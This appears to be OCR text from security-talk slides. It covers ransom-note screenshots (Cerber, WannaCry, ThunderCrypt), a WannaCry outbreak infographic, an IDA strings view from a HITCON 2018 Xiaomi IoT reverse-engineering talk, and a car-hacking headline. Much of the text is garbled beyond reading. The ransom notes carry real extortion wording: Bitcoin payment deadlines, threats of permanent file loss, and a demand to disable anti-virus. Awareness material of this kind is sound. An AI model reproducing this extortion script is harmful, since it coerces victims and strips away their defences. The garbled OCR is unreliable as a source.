Your personal files are encrypted!

rporLank S encrypiaon procducd
gocurmants, ot | e & 2 complote bt of
the

Erorw i prochuced uerg 4 un

To decrppt e you

CERBER

& CERBER DECRYPTOR L ES OxXTEE #ERTH

MRS - BBR - MIBEMEMEEXHFENE | E_tﬁgﬁ Eg;i-‘ ?ﬁiﬁlﬂ:
S X = =2
Siisige -H'L!I?{-'rliaCfrber Decryptors « 71:58:09 } “‘f"’*ﬁmnﬂfﬁéﬁ
4 ]“.__..31‘000 I—;SE‘B-'HIM:'F:@ BE%3%119000E é
=% B2.000 (=$1363) EIJ $é E&ﬁﬁﬁ@ﬁ

WannaCry

BENAR

¥ Wana Decryptlr 2.0

04 . 20:36:29

QOoops, your files have been encrypted!

A

not s0 enough time.
You can decrypt some of your files for free. Try now by clicking <Decrypt=.

Eut if you want to decrypt all your files, you need to pay.

| You only have 3 days to submit the payment. After that the price will be doubled.

| Also, if you don't pay in 7 days, you won't be able to recover your files forever.

| We will have free events for users who are so poor that they couldn't pay in 6 months.
Payment will be raised on IHow Do 1 Pay?

o acls Cpatilcs 1/411970 00:00:00 Payment is accepted in Bitcoin only. For more information, click <About bitcoin>,

ThunderCrypt
Deadline: Good morning!

PUNUAERTEEEYI We have encrypted all your personal files!
1. BIRELLETTERE (]

Time left: ) ) | Please check the current price of Bitcoin and buy some bitcoins. For more information,
We did th rid RSA-2048 public cryption. It b Ily means there is no way to decrypt your i L chck <How to buy bitcoins>.
, < = T e ime Le |
00 .00 .00 pokte lieipriaie Y issoredonetssener: And send the correct amount to the address specified in this window,
y y After your payment, click <Check Payment=. Best time to check: 9:00am - 11:00am
e can recover your files. You ju e to pay us before the de e e countd ¥ GM’I‘ from Monday to Friday.
Received: 2 rased from our server and you willl i | Once the payment is checked, you can start decrypting your files immediately.
0 BTC ransfer re amoun on the left) to the Bitcoin address below, Your files will be lost on |
|Contact

O OO 10 S Bl i R el tnlnuy B 1/811970 00:00:00 |1f you need our assistance, send a message by clicking <Contact Us=.

I h u n d e r t de ion will start automatically. It usually . about 30 minutes fo ction to become r:rmﬁrmed
ST Time Left r recommend you to not remove this software, and disable your anti-virus
0.145 g 9

for a wi hite until you pay and the payment gets processed. If your anti-virus gets
jupdated and
| files even if y

removes this software automatically, it will not be able to recover your

nove this program, but i crypt you temporari
rogram is damaged. Also, do not modi fi

If you have any que 5 or if erany [ ems ent, feel free to

Also we can decrypt or e up to 3 MiB for free as a proof that decryption is possible. Contact Us
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ack has crippled more than 300,000 computers in 150 countries

‘Wang::ry’ ransomware attacks

# Location of computers attacked
by the ‘WannaCry’ ransomware”

m Attack started on May 12 ® The virus uses a security *
flaw in Microsoft's Windows XP

operating system

= Attackers demand payment
of $300 in virtual currency
Bitcoin ® Hackers exploited NSA** softwgrf_ep

leaked earlier this year
Sources ; Intel. malwaretech.com/US Homeland Security/Eurepol/* *National Security Agency ©

hitpst//www.facebook.com/AFPnewsenglish/photos/a. 163022200402458.2594
9.155857464452265/1334184946619505/?type=1&theater

2017/5/16

Recorded by security blog
Mc:rhmmTech in the 24 hours up to
May 16, 00:00GMT

https://www.ithome.com.tw/newstream/114330
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The Internet of ransomware things...
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WHILE WE
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= ATTACK.
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- HITCON Community 2018:

“Reverse Engineering 101 of the Xiaomi loT ecosystem”

Library function [ Data [l Regular function

Unexplored [l Instruction

External symbol

FlFunctions.. O & x IDA View-A Strings window (x]
unction name Address Length String
7] UpWriteVersioninfe || [] .rodata:0001A... 00000010 c FormatPartition
pProvisionOfflinel || [5] rodats:0001A... 00000015 c ChangeShadowPassword
pCheckPartitionFi || [5] .rodata:0001A... 0000002C c Failed to delete directory ‘%', ermo = %d
wCreateEventlvoic || [S] .rodata:0001A... 0000027 c Failed to delete file ‘%s'. ermo = %d
5] rodeta:0001A... 0OZ0DODS c CMD> %s
FS] rodata:0001A... 0000014 € Shs > /dev/null 2> &1
(5] rodata:0001A... 000DOT7 g Executing \"%s\" failed!
[5] rodata:0001A... 00000029 c Computed package MDS = %; Expected = %s
(5 rodate:0001A... 00000013 c cerypt -d -K %s %s
5] rodete:0001A... 0DX000DY c rockrobo
5] .rodatz:00014... 00000012 c Decrypting %s ...
(5] rodote:00014... 00000012 c Decryption failed
7] IpDuslStateUninitial... || [5] .rodata:00014... 0DO0DOTF c torxzOf %s | dd of=%s bs=8192
DoSendMessage(f || 5] .rodata:0001A.. 00000022 c Extracting image '%s' to '%s' .
7] pSendMessage_Upc || (5] .rodat:0001A... 0DOODODF e Extract failed
il not || rod 1A, 00000010 C darif % \"%a

ZigBee

S Gateway

Xiaomi Ecosystem

* There could be mare connections (e.g. P2P, FDS)

Xiaomi
Cloud
(Mi)
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Car hackers find remately exploitable
vulnerabilities in Volkswagen and
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